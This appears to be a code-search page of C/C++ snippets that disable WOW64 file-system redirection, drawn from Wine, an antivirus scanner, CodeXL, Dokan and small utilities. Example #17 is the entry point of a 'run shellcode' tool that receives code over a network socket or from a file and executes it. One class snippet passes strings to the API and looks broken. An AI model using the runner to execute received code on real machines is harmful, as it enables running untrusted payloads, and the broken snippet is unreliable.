示例#1
0
static BOOL start_rpcss(void)
{
    PROCESS_INFORMATION pi;
    STARTUPINFOW si;
    WCHAR cmd[MAX_PATH];
    static const WCHAR rpcss[] = {'\\','r','p','c','s','s','.','e','x','e',0};
    BOOL rslt;
    void *redir;

    TRACE("\n");

    ZeroMemory(&si, sizeof(STARTUPINFOA));
    si.cb = sizeof(STARTUPINFOA);
    GetSystemDirectoryW( cmd, MAX_PATH - sizeof(rpcss)/sizeof(WCHAR) );
    lstrcatW( cmd, rpcss );

    Wow64DisableWow64FsRedirection( &redir );
    rslt = CreateProcessW( cmd, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
    Wow64RevertWow64FsRedirection( redir );

    if (rslt)
    {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
        Sleep(100);
    }

    return rslt;
}
示例#2
0
static gpointer count_thread_fun(gpointer data)
{
	struct a6o_on_demand *on_demand = (struct a6o_on_demand *)data;
	int recurse = on_demand->flags & ARMADITO_SCAN_RECURSE;
	int count = 0;

#ifdef WIN32
	void * OldValue = NULL;
	if (Wow64DisableWow64FsRedirection(&OldValue) == FALSE) {
		return NULL;
	}
#endif

	os_dir_map(on_demand->root_path, recurse, count_entry, &count);
	/* set the counter inside the a6o_scan struct only at the end, so */
	/* that the scan function does not see the intermediate values, only the last one */
	on_demand->scan->to_scan_count = count;

#ifdef WIN32
	if (Wow64RevertWow64FsRedirection(OldValue) == FALSE ) {
		return NULL;
	}
#endif

	return NULL;
}
DisableWow64FileSystemRedirection::DisableWow64FileSystemRedirection(void)
	: m_OldValue(NULL)
{
	m_hModule = ::LoadLibraryEx(L"Kernel32.dll", NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
	if (m_hModule)
		Wow64DisableWow64FsRedirection("Wow64DisableWow64FsRedirection");
}
DisableWow64FileSystemRedirection::~DisableWow64FileSystemRedirection(void)
{
	if (m_hModule)
	{
		Wow64DisableWow64FsRedirection("Wow64RevertWow64FsRedirection");
		::FreeLibrary(m_hModule);
	}
}
示例#5
0
void CSystem::ForbidRedir()
{
    if (ifRedirFrobid == false && GetSystemBits() == 64)
    {
        Wow64DisableWow64FsRedirection(&oldValue);
        ifRedirFrobid = true;
    }
}
示例#6
0
//-----------------------------------------------
void SJ_Menu_Begin( char lastState )
{
	g_timeToNextKey = 0.5f;//s_keyTime*0.5f;
	
	ZeroMemory( s_availSkins, sizeof(s_availSkins) );
	s_curSkin = 0;
	// -- Retrieve all available skins
	wchar_t path[MAX_PATH];
	GetCurrentDirectory(MAX_PATH-1, path);
	_swprintf( g_txt, L"%s\\*", path );
#ifdef _WIN64
	PVOID OldValue = NULL;
	Wow64DisableWow64FsRedirection( &OldValue );
#endif
	WIN32_FIND_DATA ffdata;
	HANDLE hFind = FindFirstFile( g_txt, &ffdata );
	if ( hFind != INVALID_HANDLE_VALUE )
	{
		do
		{
			if ( ffdata.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY )
			{
				static const wchar_t* keypaths[] = { L"config.txt", L"levels", L"levels\\easy", L"levels\\medium", 
													 L"levels\\hard", L"levels\\extreme", L"sprites" };
				bool validSkin = true;
				for ( int i = 0; i < 7 && validSkin; ++i )
				{
					_swprintf( g_txt, L"%s\\%s\\%s", path, ffdata.cFileName, keypaths[i] );
					validSkin = validSkin && _waccess_s( g_txt, 0 ) == 0;
				}
				if (  validSkin && s_curSkin < MAX_AVAILSKINS )
				{
					wcscpy_s( s_availSkins[s_curSkin], ffdata.cFileName );
					if ( _wcsicmp( ffdata.cFileName, DEFAULT_SKIN ) == 0 ) 
						s_skinValue = s_curSkin;
					++s_curSkin;
				}
			}else
			{
			}
		}while ( FindNextFile(hFind,&ffdata)!=0 );
		FindClose(hFind);
	}
#ifdef _WIN64
	if ( OldValue )
		Wow64RevertWow64FsRedirection( OldValue );
#endif
	Menu_UpdateLabels();
}
示例#7
0
QString FindModuleFile(QWidget* pParent, const QString& originalPath)
{
    QString tryFile = originalPath;
    QFileInfo fileInfo(originalPath);
#if AMDT_BUILD_TARGET == AMDT_WINDOWS_OS
    PVOID oldValue = nullptr;
    BOOL doRedirect = false;
    IsWow64Process(GetCurrentProcess(), &doRedirect);

    if (doRedirect)
    {
        doRedirect = (BOOL) Wow64DisableWow64FsRedirection(&oldValue);
    }

#endif

    while (!QFile::exists(tryFile))
    {
        // We did not find the file, ask user where it is.
        // Save the path of the user selected and use it next time.
        tryFile = QFileDialog::getOpenFileName(pParent,
                                               "Locate module file " + fileInfo.fileName(),
                                               originalPath, "Module File (*.*)");

        if (tryFile.isEmpty())
        {
#if AMDT_BUILD_TARGET == AMDT_WINDOWS_OS

            if (doRedirect)
            {
                Wow64RevertWow64FsRedirection(oldValue);
            }

#endif
            return QString::null;
        }
    }

#if AMDT_BUILD_TARGET == AMDT_WINDOWS_OS

    if (doRedirect)
    {
        Wow64RevertWow64FsRedirection(oldValue);
    }

#endif
    return tryFile;
}
void LoadDrivers()
{
    if (!gCAProfAPISharedMapFile)
    {
        InitializeProfAPISharedObj();
    }

    if (!gPwrProfSharedMapFile)
    {
        InitializePwrProfSharedObj();
    }

    if (!gDriverHandlePcore)
    {
        wchar_t drivername[nBufferSize + 1];
        wchar_t systemDir[MAX_PATH];
        systemDir[0] = '\0';
        GetSystemDirectory(systemDir, MAX_PATH);
        PVOID oldValue = nullptr;
        BOOL isSys64;
        IsWow64Process(GetCurrentProcess(), &isSys64);

        if (isSys64)
        {
            isSys64 = Wow64DisableWow64FsRedirection(&oldValue);
        }

        swprintf(drivername, nBufferSize, L"%s%s", systemDir, L"\\drivers\\PCORE");
        OpenAmdDriver((LPCTSTR)drivername, &gDriverHandlePcore);

        swprintf(drivername, nBufferSize, L"%s%s", systemDir, L"\\drivers\\CpuProf");
        OpenAmdDriver((LPCTSTR)drivername, &gDriverHandleCAProf);

        // Install the Power Profiler driver only on AMD supported platforms
        swprintf(drivername, nBufferSize, L"%s%s", systemDir, L"\\drivers\\AMDTPwrProf");
        OpenAmdDriver((LPCTSTR)drivername, &gDriverHandlePwrProf);

        if (isSys64)
        {
            Wow64RevertWow64FsRedirection(oldValue);
        }
    }
}
示例#9
0
static BOOL run_winemenubuilder( const WCHAR *args )
{
    static const WCHAR menubuilder[] = {'\\','w','i','n','e','m','e','n','u','b','u','i','l','d','e','r','.','e','x','e',0};
    LONG len;
    LPWSTR buffer;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    BOOL ret;
    WCHAR app[MAX_PATH];
    void *redir;

    GetSystemDirectoryW( app, MAX_PATH - sizeof(menubuilder)/sizeof(WCHAR) );
    strcatW( app, menubuilder );

    len = (strlenW( app ) + strlenW( args ) + 1) * sizeof(WCHAR);
    buffer = heap_alloc( len );
    if( !buffer )
        return FALSE;

    strcpyW( buffer, app );
    strcatW( buffer, args );

    TRACE("starting %s\n",debugstr_w(buffer));

    memset(&si, 0, sizeof(si));
    si.cb = sizeof(si);

    Wow64DisableWow64FsRedirection( &redir );
    ret = CreateProcessW( app, buffer, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
    Wow64RevertWow64FsRedirection( redir );

    heap_free( buffer );

    if (ret)
    {
        CloseHandle( pi.hProcess );
        CloseHandle( pi.hThread );
    }

    return ret;
}
示例#10
0
文件: user_main.c 项目: thomcom/wine
/***********************************************************************
 *		ExitWindowsEx (USER32.@)
 */
BOOL WINAPI ExitWindowsEx( UINT flags, DWORD reason )
{
    static const WCHAR winebootW[]    = { '\\','w','i','n','e','b','o','o','t','.','e','x','e',0 };
    static const WCHAR killW[]        = { ' ','-','-','k','i','l','l',0 };
    static const WCHAR end_sessionW[] = { ' ','-','-','e','n','d','-','s','e','s','s','i','o','n',0 };
    static const WCHAR forceW[]       = { ' ','-','-','f','o','r','c','e',0 };
    static const WCHAR shutdownW[]    = { ' ','-','-','s','h','u','t','d','o','w','n',0 };

    WCHAR app[MAX_PATH];
    WCHAR cmdline[MAX_PATH + 64];
    PROCESS_INFORMATION pi;
    STARTUPINFOW si;
    void *redir;

    GetSystemDirectoryW( app, MAX_PATH - sizeof(winebootW)/sizeof(WCHAR) );
    strcatW( app, winebootW );
    strcpyW( cmdline, app );

    if (flags & EWX_FORCE) lstrcatW( cmdline, killW );
    else
    {
        lstrcatW( cmdline, end_sessionW );
        if (flags & EWX_FORCEIFHUNG) lstrcatW( cmdline, forceW );
    }
    if (!(flags & EWX_REBOOT)) lstrcatW( cmdline, shutdownW );

    memset( &si, 0, sizeof si );
    si.cb = sizeof si;
    Wow64DisableWow64FsRedirection( &redir );
    if (!CreateProcessW( app, cmdline, NULL, NULL, FALSE, DETACHED_PROCESS, NULL, NULL, &si, &pi ))
    {
        Wow64RevertWow64FsRedirection( redir );
        ERR( "Failed to run %s\n", debugstr_w(cmdline) );
        return FALSE;
    }
    Wow64RevertWow64FsRedirection( redir );
    CloseHandle( pi.hProcess );
    CloseHandle( pi.hThread );
    return TRUE;
}
示例#11
0
/* the thread function called by the thread pool, in case of threaded scan */
static void scan_entry_thread_fun(gpointer data, gpointer user_data)
{
	struct a6o_on_demand *on_demand = (struct a6o_on_demand *)user_data;
	char *path = (char *)data;

#ifdef _WIN32
	void * OldValue = NULL;
	if (Wow64DisableWow64FsRedirection(&OldValue) == FALSE) {
		return;
	}
#endif
	if(!cancel)
	   scan_file(on_demand, path);

	/* path was strdup'ed, so free it */
	free(path);

#ifdef _WIN32
	if (Wow64RevertWow64FsRedirection(OldValue) == FALSE ){
		return;
	}
#endif
}
示例#12
0
int main( int argc, char *argv[] )
{
    extern HANDLE CDECL __wine_make_process_system(void);
    static const WCHAR RunW[] = {'R','u','n',0};
    static const WCHAR RunOnceW[] = {'R','u','n','O','n','c','e',0};
    static const WCHAR RunServicesW[] = {'R','u','n','S','e','r','v','i','c','e','s',0};
    static const WCHAR RunServicesOnceW[] = {'R','u','n','S','e','r','v','i','c','e','s','O','n','c','e',0};
    static const WCHAR wineboot_eventW[] = {'_','_','w','i','n','e','b','o','o','t','_','e','v','e','n','t',0};

    /* First, set the current directory to SystemRoot */
    int optc;
    int end_session = 0, force = 0, init = 0, kill = 0, restart = 0, shutdown = 0, update = 0;
    HANDLE event;
    SECURITY_ATTRIBUTES sa;
    BOOL is_wow64;

    GetWindowsDirectoryW( windowsdir, MAX_PATH );
    if( !SetCurrentDirectoryW( windowsdir ) )
        WINE_ERR("Cannot set the dir to %s (%d)\n", wine_dbgstr_w(windowsdir), GetLastError() );

    if (IsWow64Process( GetCurrentProcess(), &is_wow64 ) && is_wow64)
    {
        STARTUPINFOW si;
        PROCESS_INFORMATION pi;
        WCHAR filename[MAX_PATH];
        void *redir;
        DWORD exit_code;

        memset( &si, 0, sizeof(si) );
        si.cb = sizeof(si);
        GetModuleFileNameW( 0, filename, MAX_PATH );

        Wow64DisableWow64FsRedirection( &redir );
        if (CreateProcessW( filename, GetCommandLineW(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi ))
        {
            WINE_TRACE( "restarting %s\n", wine_dbgstr_w(filename) );
            WaitForSingleObject( pi.hProcess, INFINITE );
            GetExitCodeProcess( pi.hProcess, &exit_code );
            ExitProcess( exit_code );
        }
        else WINE_ERR( "failed to restart 64-bit %s, err %d\n", wine_dbgstr_w(filename), GetLastError() );
        Wow64RevertWow64FsRedirection( redir );
    }

    while ((optc = getopt_long(argc, argv, short_options, long_options, NULL )) != -1)
    {
        switch(optc)
        {
        case 'e': end_session = 1; break;
        case 'f': force = 1; break;
        case 'i': init = 1; break;
        case 'k': kill = 1; break;
        case 'r': restart = 1; break;
        case 's': shutdown = 1; break;
        case 'u': update = 1; break;
        case 'h': usage(); return 0;
        case '?': usage(); return 1;
        }
    }

    if (end_session)
    {
        if (kill)
        {
            if (!shutdown_all_desktops( force )) return 1;
        }
        else if (!shutdown_close_windows( force )) return 1;
    }

    if (kill) kill_processes( shutdown );

    if (shutdown) return 0;

    sa.nLength = sizeof(sa);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;  /* so that services.exe inherits it */
    event = CreateEventW( &sa, TRUE, FALSE, wineboot_eventW );

    ResetEvent( event );  /* in case this is a restart */

    create_hardware_registry_keys();
    create_dynamic_registry_keys();
    create_environment_registry_keys();
    wininit();
    pendingRename();

    ProcessWindowsFileProtection();
    ProcessRunKeys( HKEY_LOCAL_MACHINE, RunServicesOnceW, TRUE, FALSE );

    if (init || (kill && !restart))
    {
        ProcessRunKeys( HKEY_LOCAL_MACHINE, RunServicesW, FALSE, FALSE );
        start_services_process();
    }
    if (init || update) update_wineprefix( update );

    create_volatile_environment_registry_key();

    ProcessRunKeys( HKEY_LOCAL_MACHINE, RunOnceW, TRUE, TRUE );

    if (!init && !restart)
    {
        ProcessRunKeys( HKEY_LOCAL_MACHINE, RunW, FALSE, FALSE );
        ProcessRunKeys( HKEY_CURRENT_USER, RunW, FALSE, FALSE );
        ProcessStartupItems();
    }

    WINE_TRACE("Operation done\n");

    SetEvent( event );
    return 0;
}
示例#13
0
DWORD RunProcess(
	__in WORD wExecMode,
	__in WORD wExecStyle,
	__in const wchar_t * pwszArg0,
	__in const wchar_t * pwszParameter,
	__in const wchar_t * pwszWorkingDirectory,
	__out volatile DWORD & dwPID,
	__in DWORD dwWait,
	LPDWORD lpdwExitCode,
	BOOL * bIsExist)
{
	DWORD				ret = ERROR_SUCCESS;
	STARTUPINFO			si;
	PROCESS_INFORMATION pi;
	wchar_t				wszCmd[MAX_PATH] = { 0, };
	wchar_t				wszCommandLine[MAX_PATH] = { 0, };
	wchar_t				*pwszAppName;
	wchar_t				tmp[TMPBUF];

	PVOID oldValue;
	Wow64DisableWow64FsRedirection(&oldValue);

	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));

	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = wExecStyle;

	if (wExecMode == EXEC_MODE_CMD)
	{
		TCHAR systemDirPath[MAX_PATH] = _T("");
		GetSystemDirectory(systemDirPath, sizeof(systemDirPath) / sizeof(_TCHAR));
		swprintf_s(wszCmd, MAX_PATH, L"%s", systemDirPath);
		wcscat_s(wszCmd, MAX_PATH, L"\\cmd.exe");
		pwszAppName = wszCmd;
	}
	else
	{
		pwszAppName = NULL;
	}

	if (pwszArg0)
	{
		swprintf_s(wszCommandLine, MAX_PATH, L"%s", pwszArg0);
	}

	if (pwszParameter)
	{
		if (wcslen(pwszParameter) > 0)
		{
			if (wcslen(wszCommandLine) > 0)
			{
				wcscat_s(wszCommandLine, MAX_PATH, L" ");
			}

			if (wExecMode == EXEC_MODE_CMD)
			{
				wcscat_s(wszCommandLine, MAX_PATH, L"/C ");
			}
			wcscat_s(wszCommandLine, MAX_PATH, pwszParameter);
		}
	}

	if (!CreateProcess(pwszAppName,
			wszCommandLine,			// Command line
			NULL,					// Process handle not inheritable. 
			NULL,					// Thread handle not inheritable. 
			FALSE,					// Set handle inheritance to FALSE. 
			0,						// No creation flags. 
			NULL,					// Use parent's environment block. 
			pwszWorkingDirectory,	// Use parent's starting directory. 
			&si,					// Pointer to STARTUPINFO structure.
			&pi)					// Pointer to PROCESS_INFORMATION structure.
		)
	{
		ret = GetLastError();
		dwPID = 0;

		wsprintf(tmp, L"CreateProcess faild: GetLastError %d\n", ret);
		WriteLog(tmp);
		Wow64RevertWow64FsRedirection(oldValue);

		return ret;
	}

	dwPID = pi.dwProcessId;
	if (dwWait > 0)
	{
		ret = WaitForSingleObject(pi.hProcess, dwWait);
		if (ret != WAIT_OBJECT_0)
		{
			if (ret == WAIT_FAILED)
			{
				ret = GetLastError();
			}

			CloseHandle(pi.hProcess);
			CloseHandle(pi.hThread);

			wsprintf(tmp, L"CreateProcess WaitForSingleObject faild: Error %d\n", ret);
			WriteLog(tmp);

			Wow64RevertWow64FsRedirection(oldValue);
			return ret;
		}
	}

	if (lpdwExitCode)
	{
		if (!GetExitCodeProcess(pi.hProcess, lpdwExitCode))
		{
			ret = GetLastError();
			wsprintf(tmp, L"CreateProcess GetExitCodeProcess faild: GetLastError %d\n", ret);
			WriteLog(tmp);
		}
	}

	CloseHandle(pi.hProcess);
	CloseHandle(pi.hThread);

	Wow64RevertWow64FsRedirection(oldValue);
	return ERROR_SUCCESS;
}
示例#14
0
文件: dokanctl.c 项目: 2asoft/dokany
int __cdecl wmain(int argc, PWCHAR argv[]) {
  size_t i;
  WCHAR fileName[MAX_PATH];
  WCHAR driverFullPath[MAX_PATH] = {0};
  PVOID wow64OldValue;
  BOOL isAdmin;

  isAdmin = IsUserAnAdmin();

  DokanUseStdErr(TRUE); // Set dokan library debug output

  Wow64DisableWow64FsRedirection(&wow64OldValue); // Disable system32 direct
  // setlocale(LC_ALL, "");

  GetModuleFileName(NULL, fileName, MAX_PATH);

  // search the last "\"
  for (i = wcslen(fileName) - 1; i > 0 && fileName[i] != L'\\'; --i) {
    ;
  }
  fileName[i] = L'\0';

  ExpandEnvironmentStringsW(DOKAN_DRIVER_FULL_PATH, driverFullPath, MAX_PATH);

  fwprintf(stdout, L"Driver path: '%s'\n", driverFullPath);

  WCHAR option = GetOption(argc, argv, 1);
  if (option == L'\0' || option == L'?') {
    return ShowUsage();
  }

  if (!isAdmin &&
      (option == L'i' || option == L'r' || option == L'd' || option == L'u')) {
    fprintf(stderr, "Admin rights required to process this operation\n");
    return EXIT_FAILURE;
  }

  switch (option) {
  // Admin rights required
  case L'i': {
    WCHAR type = towlower(argv[2][0]);
    if (type == L'd') {
      return InstallDriver(driverFullPath);
    } else if (type == L'n') {
      if (DokanNetworkProviderInstall())
        fprintf(stdout, "network provider install ok\n");
      else
        fprintf(stderr, "network provider install failed\n");
    } else {
      goto DEFAULT;
    }
  } break;

  case L'r': {
    WCHAR type = towlower(argv[2][0]);
    if (type == L'd') {
      return DeleteDokanService(DOKAN_DRIVER_SERVICE);
    } else if (type == L'n') {
      if (DokanNetworkProviderUninstall())
        fprintf(stdout, "network provider remove ok\n");
      else
        fprintf(stderr, "network provider remove failed\n");
    } else {
      goto DEFAULT;
    }
  } break;

  case L'd': {
    WCHAR type = towlower(argv[2][0]);
    if (L'0' > type || type > L'9')
      goto DEFAULT;

    ULONG mode = type - L'0';
    if (DokanSetDebugMode(mode)) {
      fprintf(stdout, "set debug mode ok\n");
    } else {
      fprintf(stderr, "set debug mode failed\n");
    }
  } break;

  case L'u': {
    if (argc < 3) {
      goto DEFAULT;
    }
    return Unmount(argv[2]);
  } break;

  // No admin rights required
  case L'l': {
    ULONG nbRead = 0;
    PDOKAN_CONTROL dokanControl =
        malloc(DOKAN_MAX_INSTANCES * sizeof(*dokanControl));
    if (dokanControl == NULL) {
      fprintf(stderr, "Failed to allocate dokanControl\n");
      return EXIT_FAILURE;
    }

    ZeroMemory(dokanControl, DOKAN_MAX_INSTANCES * sizeof(*dokanControl));
    if (DokanGetMountPointList(dokanControl, DOKAN_MAX_INSTANCES, FALSE,
                               &nbRead)) {
      fwprintf(stdout, L"  Mount points: %d\n", nbRead);
      for (unsigned int p = 0; p < nbRead; ++p) {
        fwprintf(stdout, L"  %u# MountPoint: %s - UNC: %s - DeviceName: %s\n",
                 p, dokanControl[p].MountPoint, dokanControl[p].UNCName,
                 dokanControl[p].DeviceName);
      }
    } else {
      fwprintf(stderr, L"  Cannot retrieve mount point list.\n");
    }
    free(dokanControl);
  } break;

  case L'v': {
    fprintf(stdout, "dokanctl : %s %s\n", __DATE__, __TIME__);
    fprintf(stdout, "Dokan version : %d\n", DokanVersion());
    fprintf(stdout, "Dokan driver version : 0x%lx\n", DokanDriverVersion());
  } break;

  DEFAULT:
  default:
    fprintf(stderr, "Unknown option - Use /? to show usage\n");
  }

  return EXIT_SUCCESS;
}
示例#15
0
int __cdecl wmain(int argc, PWCHAR argv[]) {
  size_t i;
  WCHAR fileName[MAX_PATH];
  WCHAR driverFullPath[MAX_PATH] = {0};
  WCHAR type;
  PVOID wow64OldValue;

  DokanUseStdErr(TRUE); // Set dokan library debug output

  Wow64DisableWow64FsRedirection(&wow64OldValue); // Disable system32 direct
  // setlocale(LC_ALL, "");

  GetModuleFileName(NULL, fileName, MAX_PATH);

  // search the last "\"
  for (i = wcslen(fileName) - 1; i > 0 && fileName[i] != L'\\'; --i) {
    ;
  }
  fileName[i] = L'\0';

  ExpandEnvironmentStringsW(DOKAN_DRIVER_FULL_PATH, driverFullPath, MAX_PATH);

  fwprintf(stdout, L"Driver path: '%s'\n", driverFullPath);

  if (GetOption(argc, argv, 1) == L'v') {
    fprintf(stdout, "dokanctl : %s %s\n", __DATE__, __TIME__);
    fprintf(stdout, "Dokan version : %d\n", DokanVersion());
    fprintf(stdout, "Dokan driver version : 0x%lx\n", DokanDriverVersion());
    return EXIT_SUCCESS;

  } else if (GetOption(argc, argv, 1) == L'u' && argc == 3) {
    return Unmount(argv[2], FALSE);

  } else if (GetOption(argc, argv, 1) == L'u' &&
             GetOption(argc, argv, 3) == L'f' && argc == 4) {
    return Unmount(argv[2], TRUE);

  } else if (argc < 3 || wcslen(argv[1]) != 2 || argv[1][0] != L'/') {
    return ShowUsage();
  }

  type = towlower(argv[2][0]);

  switch (towlower(argv[1][1])) {
  case L'i':
    if (type == L'd') {

      return InstallDriver(driverFullPath);

    } else if (type == L'n') {
      if (DokanNetworkProviderInstall())
        fprintf(stdout, "network provider install ok\n");
      else
        fprintf(stderr, "network provider install failed\n");
    }
    break;

  case L'r':
    if (type == L'd') {

      return DeleteDokanService(DOKAN_DRIVER_SERVICE);

    } else if (type == L'n') {
      if (DokanNetworkProviderUninstall())
        fprintf(stdout, "network provider remove ok\n");
      else
        fprintf(stderr, "network provider remove failed\n");
    }
    break;

  case L'd':
    if (L'0' <= type && type <= L'9') {
      ULONG mode = type - L'0';
      if (DokanSetDebugMode(mode)) {
        fprintf(stdout, "set debug mode ok\n");
      } else {
        fprintf(stderr, "set debug mode failed\n");
      }
    }
    break;

  case L'l': {
    ULONG nbRead = 0;
    DOKAN_CONTROL dokanControl[DOKAN_MAX_INSTANCES];
    if (DokanGetMountPointList(dokanControl, DOKAN_MAX_INSTANCES, FALSE,
                               &nbRead)) {
      fwprintf(stdout, L"  Mount points: %d\n", nbRead);
      for (unsigned int p = 0; p < nbRead; ++p) {
        fwprintf(stdout, L"  %d# MountPoint: %s - UNC: %s - DeviceName: %s\n",
                 p, dokanControl[p].MountPoint, dokanControl[p].UNCName,
                 dokanControl[p].DeviceName);
      }
    } else {
      fwprintf(stderr, L"  Cannot retrieve mount point list.\n");
    }
  } break;

  default:
    fprintf(stderr, "unknown option\n");
  }

  return EXIT_SUCCESS;
}
示例#16
0
//returns true if the caching was successful
//filePath is the original path, altSource is the user-specified source for the filePath
bool CacheFile(const QString& sessionDir, QString filePath, const QString& altSource, bool symsToo)
{
    CacheFileMap cache;

    //check for current cache
    if (!ReadSessionCacheFileMap(sessionDir, cache))
    {
        return false;
    }

#if AMDT_BUILD_TARGET == AMDT_WINDOWS_OS
    PVOID oldValue = nullptr;
    BOOL doRedirect = false;
    IsWow64Process(GetCurrentProcess(), &doRedirect);

    if (doRedirect)
    {
        doRedirect = (BOOL) Wow64DisableWow64FsRedirection(&oldValue);
    }

#endif

    //if needed, create cache sub-dir
    QString cachePath = sessionDir + "/cache/";
    QDir dir(cachePath);

    if (!dir.exists())
    {
        dir.mkpath(cachePath);
    }

    //determine cache name
    filePath.remove(QChar('\0'));
    QFileInfo original(filePath);
    int additional = 1;

    QString existTest = cachePath + original.fileName();

    while (QFile::exists(existTest))
    {
        existTest = cachePath + original.baseName() + " "
                    + QString::number(additional++) + "." + original.completeSuffix();
    }

    //copy to cache
    QString base = altSource.isEmpty() ? filePath : altSource;

    if (!QFile::copy(base, existTest))
    {
#if AMDT_BUILD_TARGET == AMDT_WINDOWS_OS

        if (doRedirect)
        {
            Wow64RevertWow64FsRedirection(oldValue);
        }

#endif
        return false;
    }

    if (symsToo)
    {
        QFileInfo baseInfo(base);
        QString symBase = baseInfo.absolutePath() + "/" + baseInfo.baseName() + ".pdb";
        baseInfo.setFile(existTest);
        QString symCopy = baseInfo.absolutePath() + "/" + baseInfo.baseName() + ".pdb";
        QFile::copy(symBase, symCopy);
    }

#if AMDT_BUILD_TARGET == AMDT_WINDOWS_OS

    if (doRedirect)
    {
        Wow64RevertWow64FsRedirection(oldValue);
    }

#endif

    //add to cache map
    cache.insert(filePath, existTest);

    return WriteSessionCacheFileMap(sessionDir, cache);
} //CacheFile
示例#17
0
int main (int argc, char *argv[])
{
  args_t args;
  struct stat st;
  
  #ifdef WIN
  // 
  PVOID   OldValue=NULL;
  WSADATA wsa;
  
  Wow64DisableWow64FsRedirection (&OldValue);
  WSAStartup(MAKEWORD(2,0), &wsa);
  #endif
  
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  
  memset (&args, 0, sizeof(args));
  
  // set default parameters
  args.address   = NULL;
  args.file      = NULL;
  args.ai_family = AF_INET;
  args.port      = DEFAULT_PORT;
  args.port_nbr  = atoi(args.port);
  args.mode      = -1;
  args.tx_mode   = -1;
  args.sim       = 0;
  args.dbg       = 0;
  
  printf ("\n[ run shellcode v0.1\n");
  
  parse_args(&args, argc, argv);
  
  // check if we have file parameter and it accessible
  if (args.file!=NULL) {
    if (stat (args.file, &st)) {
      printf ("[ unable to access %s\n", args.file);
      return 0;
    } else {
      if (st.st_size > MAX_BUFSIZ) {
        printf ("[ %s exceeds MAX_BUFSIZ of %i bytes\n", args.file, MAX_BUFSIZ);
        return 0;
      }
    }
  }
  
  // if mode is executing
  if (args.mode==RSC_EXEC) {
    if (args.file!=NULL) {
      xfile(&args);
      return 0;
    } else {
      printf ("\n[ you've used -x without supplying file with -f");
      return 0;
    }
  }
  if (init_network(&args))
  {
    // if no file specified, we receive and execute data
    args.tx_mode = (args.file==NULL) ? RSC_RECV : RSC_SEND;
    
    // if mode is -1, we listen for incoming connections
    if (args.mode == -1) {
      args.mode=RSC_SERVER;
    }
    
    // if no file specified, set to receive one
    if (args.tx_mode == -1) {
      args.tx_mode=RSC_RECV;
    }
    
    if (args.mode==RSC_SERVER) {
      ssr (&args);
    } else {
      csr (&args);
    }
  }
  return 0;
}
示例#18
0
文件: jdots.c 项目: traillog/LocBench
int wmain( int argc, LPTSTR argv[] )
{
    // Vars declarations
    int targetDirInd = 0;
    BOOL flags[ MAX_OPTIONS ] = { 0 };
    TCHAR workDir[ MAX_PATH ] = { 0 };
    TCHAR targetDir[ MAX_PATH ] = { 0 };
    DWORD workLength = 0;
    List resultsList = { 0 };
    Item resultsItem = { 0 };
    PVOID oldValueWow64 = NULL;
    BOOL wow64Disabled = FALSE;
    TCHAR* ptTchar = NULL;

    // Get index of first argument after options
    // Also determine which options are active
    targetDirInd = Options( argc, argv, TEXT( "h" ), &flags[ FL_HELP ], NULL );
    
    // Get current working dir
    workLength = GetCurrentDirectory( _countof( workDir ), workDir );

    // Validate target dir
    if ( ( argc > targetDirInd + 1 ) || flags[ FL_HELP ] )
    {
        // More than one target or
        // target with gaps (no quotes) specified or
        // asked for help

        // Print usage
        wprintf_s( TEXT( "\n    Usage:    jdots [options] [target dir]\n\n" ) );
        wprintf_s( TEXT( "    Options:\n\n" ) );
        wprintf_s( TEXT( "      -h   :  Print usage\n\n" ) );
        wprintf_s( TEXT( "    If no target dir is specified, then the current working dir will be used\n" ) );

        return 1;
    }
    else if ( ( argc < targetDirInd + 1 ) && ( workLength <= MAX_PATH - 3 ) )
    {
        // No target specified --> assume current dir
        wcscpy_s( targetDir, MAX_PATH, workDir );
    }
    else if ( argc == targetDirInd + 1 )
    {
        // One target specified

        // Validate target dir starting with '\'
        if ( argv[ targetDirInd ][ 0 ] == '\\' )
        {
            // Fetch drive letter from working dir
            wcsncpy_s( targetDir, MAX_PATH, workDir, 2 );
        }

        // Append passed dir to target dir
        wcscat_s( targetDir, MAX_PATH, argv[ targetDirInd ] );
    }

    // Set up absolute target dir --> resolve '.' and '..' in target dir
    if ( !SetCurrentDirectory( targetDir ) )
    {
        ReportError( TEXT( "\nTarget directory not found.\n" ), 0, TRUE );
        return 1;
    }

    // Display absolute target dir
    GetCurrentDirectory( _countof( targetDir ), targetDir );
    wprintf_s( TEXT( "\n    Target dir: \"%s\"\n\n" ), targetDir );

    // Initialize results list
    InitializeList( &resultsList );

    // Initialize list's name (measurement name)
    ptTchar = wcsrchr( targetDir, L'\\' );

    if ( ptTchar != NULL )
        IniListName( &resultsList, ptTchar + 1 );
    else
        IniListName( &resultsList, TEXT( "" ) );

    // Check mem availability
    if ( ListIsFull( &resultsList ) )
    {
        wprintf_s( TEXT( "\nNo memory available!\n" ) );
        return 1;
    }

    // Disable file system redirection
    wow64Disabled = Wow64DisableWow64FsRedirection( &oldValueWow64 );

    // Scan target dir
    scanDir( targetDir, &resultsList, &resultsItem );

    // Re-enable redirection
    if ( wow64Disabled )
    {
        if ( !( Wow64RevertWow64FsRedirection( oldValueWow64 ) ) )
            ReportError( TEXT( "Re-enable redirection failed." ), 1, TRUE );
    }

    // Display results
    if ( ListIsEmpty( &resultsList ) )
        wprintf_s( TEXT( "\nNo data.\n\n" ) );
    else
    {
        // Sort by name (a to Z)
        SortList( &resultsList, cmpItemsName );

        // Display sorted results
        showResults( &resultsList, &resultsItem );

        // Generate KML file
        outputKml( &resultsList );

    }

    // Housekeeping
    EmptyTheList( &resultsList );

    return 0;
}
示例#19
0
文件: dgl.c 项目: traillog/DirGlance
int wmain( int argc, LPTSTR argv[] )
{
    // Declare vars
    TCHAR targetDir[ MAX_PATH ] = { 0 };
    TCHAR workDir[ MAX_PATH ] = { 0 };
    DWORD targetLength = 0;
    DWORD workLength = 0;
    Item resultsItem = { 0 };
    List resultsList = { 0 };
    LARGE_INTEGER freq;
